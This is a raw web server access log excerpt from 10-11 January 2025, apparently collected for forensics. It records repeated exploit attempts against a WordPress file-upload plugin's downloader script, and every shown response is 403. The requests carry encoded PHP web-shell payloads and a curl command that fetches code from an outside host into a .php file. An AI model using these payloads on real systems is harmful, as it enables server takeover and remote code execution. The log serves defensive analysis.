access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:21:33:32 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:21:35:07 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2789.41 Safari/537.36"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:21:35:08 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2789.41 Safari/537.36"
access_log.01-10.txt:109.237.99.63 www.eawhoa.com - [10/Jan/2025:21:44:24 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:45.0) Gecko/20100101 Firefox/45.0"
access_log.01-10.txt:109.237.99.63 www.eawhoa.com - [10/Jan/2025:21:50:17 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_&4=file_put_contents%28%22a015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWzddLCRfUE9TVFs5XSk7Pz4%3D%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)"
access_log.01-10.txt:109.237.99.63 www.eawhoa.com - [10/Jan/2025:21:50:17 -0500] "POST /wp-content/plugins/wp-file-upload/a015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_&4=file_put_contents%28%22a015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWzddLCRfUE9TVFs5XSk7Pz4%3D%22%29%29%3B" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:21:53:12 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0"
access_log.01-10.txt:109.237.99.63 www.eawhoa.com - [10/Jan/2025:23:39:53 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
access_log.01-10.txt:109.237.99.63 www.eawhoa.com - [10/Jan/2025:23:39:54 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:23:40:09 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:23:40:09 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php" "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:23:50:25 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:01:45:08 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.3; WOW64; Trident/6.0)"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:01:45:10 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.3; WOW64; Trident/6.0)"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:01:46:16 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2737.50 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:01:46:18 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php" "Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2737.50 Safari/537.36"
access_log.01-11.txt:109.237.99.63 www.eawhoa.com - [11/Jan/2025:02:01:01 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2766.22 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:02:16:30 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_&4=file_put_contents%28%22a015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWzddLCRfUE9TVFs5XSk7Pz4%3D%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2722.18 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:02:16:30 -0500] "POST /wp-content/plugins/wp-file-upload/a015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_&4=file_put_contents%28%22a015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWzddLCRfUE9TVFs5XSk7Pz4%3D%22%29%29%3B" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2722.18 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:02:16:30 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/a015a53bd738f.php" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2722.18 Safari/537.36"
access_log.01-11.txt:109.237.99.63 www.eawhoa.com - [11/Jan/2025:04:13:12 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2763.97 Safari/537.36"
access_log.01-11.txt:109.237.99.63 www.eawhoa.com - [11/Jan/2025:04:13:12 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2763.97 Safari/537.36"
access_log.01-11.txt:109.237.99.63 www.eawhoa.com - [11/Jan/2025:04:34:15 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2889.43 Safari/537.36"
access_log.01-11.txt:109.237.99.63 www.eawhoa.com - [11/Jan/2025:04:34:15 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2889.43 Safari/537.36"
access_log.01-11.txt:109.237.99.63 www.eawhoa.com - [11/Jan/2025:04:57:33 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2642.69 Safari/537.36"
access_log.01-11.txt:109.237.99.63 www.eawhoa.com - [11/Jan/2025:05:39:17 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_&4=file_put_contents%28%22a015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWzddLCRfUE9TVFs5XSk7Pz4%3D%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2642.52 Safari/537.36"
access_log.01-11.txt:109.237.99.63 www.eawhoa.com - [11/Jan/2025:05:39:27 -0500] "POST /wp-content/plugins/wp-file-upload/a015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_&4=file_put_contents%28%22a015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWzddLCRfUE9TVFs5XSk7Pz4%3D%22%29%29%3B" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2642.52 Safari/537.36"
access_log.01-11.txt:109.237.99.63 www.eawhoa.com - [11/Jan/2025:05:39:28 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/a015a53bd738f.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2642.52 Safari/537.36"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:05:39:57 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Windows NT 6.1; rv:49.0) Gecko/20100101 Firefox/49.0"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:07:00:17 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.3; Trident/5.0)"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:07:00:28 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.3; Trident/5.0)"
access_log.01-11.txt:87.251.77.180 www.eawhoa.com - [11/Jan/2025:07:07:46 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B 